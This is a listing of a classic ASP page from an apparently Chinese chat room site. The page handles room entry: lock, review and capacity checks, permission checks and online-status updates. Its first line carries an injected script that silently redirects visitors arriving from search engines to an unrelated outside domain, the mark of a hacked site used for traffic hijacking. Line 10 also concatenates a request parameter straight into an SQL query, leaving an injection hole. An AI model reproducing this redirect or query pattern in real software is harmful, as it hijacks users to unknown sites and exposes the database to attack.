d:\wwwroot\wuchunhua\liaotianim\inc\RedirectRoom.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="DAL.asp"-->
002: <!--#include file="md5.asp"-->
003: <%
004: On Error Resume Next
005: if Session(Session_UserID_Arg)="" then RW "<script>location.href='../"&Web_Log_URL&"';</script>":response.end()
006: if request("Room_ID")="" then RW "<script>location.href='../"&Web_Log_URL&"';</script>":response.end()
007:
008: dim RoomRs
009: Set RoomRs=Server.CreateObject( "ADODB.Recordset" )
010: set RoomRs=DB_CONN.EXECUTE( "select * from [XK_Room] where [Room_ID]="&request("Room_ID"))
011: if RoomRs.recordcount>0 then
012:     if Cstr(RoomRs("IsLock"))="1" then
013:         RW "<script>alert('房间已锁定');window.history.back();</script>":response.end()
014:     end if
015:     if Cstr(RoomRs("IsCheck"))="0" then
016:         RW "<script>alert('房间审核中');window.history.back();</script>":response.end()
017:     end if
018:     if RoomRs.recordcount>=Cint(RoomRs("Room_MaxNum")) and Cint(RoomRs("Room_MaxNum"))<>0 then
019:         RW "<script>alert('房间已满员');window.history.back();</script>":response.end()
020:     end if
021: end if
022:
023:
024: '判断权限
025: dim k,keys,re
026: re=false
027: keys=split(PowerInfo(GUInfo("User_Power")),",")
028: for k=0 to ubound(keys)
029:     if (trim(keys(k))="normal" and Cstr(RoomRs("IsVip"))="0") then re=true
030:     if trim(keys(k))="vip" then re=true
031:     if trim(keys(k))=request("Room_ID") then re=true
032: next
033: if re=false then RW "<script>alert('您无权进入该房间');window.history.back();</script>":response.end()
034:
035: Session("OLDRoomID")=""
036: if session(Session_Group_ID_Arg)<>"" then
037:     Session("OLDRoomID")=session(Session_Group_ID_Arg)
038: end if
039:
040: if Cstr(Session("OLDRoomID"))=Cstr(request("Room_ID")) then
041:     Session("MsgEndID")=Session("OLDMsgEndID")
042:     
043: else
044:     Session("OLDMsgEndID")=""
045:     '重置信息索引
046:     Session("MsgEndID")=""
047: end if
048:
049:
050: '重置用户数量索引
051: Session("TempUserListCount")=0
052: '房间session
053: session(Session_Group_ID_Arg)=request("Room_ID")
054: '视频房间
055: session("IsVideo")=RoomInfo("IsVideo")
056:
057:     dim OLRS
058:     set OLRS=Server.CreateObject( "ADODB.Recordset" )
059:     OLRS.OPEN "select * from [XK_User_Online] where [User_ID]="&Session(Session_UserID_Arg) , DB_CONN , 1 , 3
060:     if OLRS.eof or OLRS.recordcount<1 then
061:         OLRS.addnew()
062:     end if
063:         OLRS("User_ID")=Session(Session_UserID_Arg)
064:         OLRS("OL_Start_Time")=now()
065:         OLRS("OL_End_Time")=dateadd( "s" , 60 , now())
066:         OLRS("LogInTime")=now()
067:         OLRS("Room_ID")=session(Session_Group_ID_Arg)
068:     OLRS.update()
069:     OLRS.close()
070: response.redirect "../Main.html"
071: %>
072:
073:

---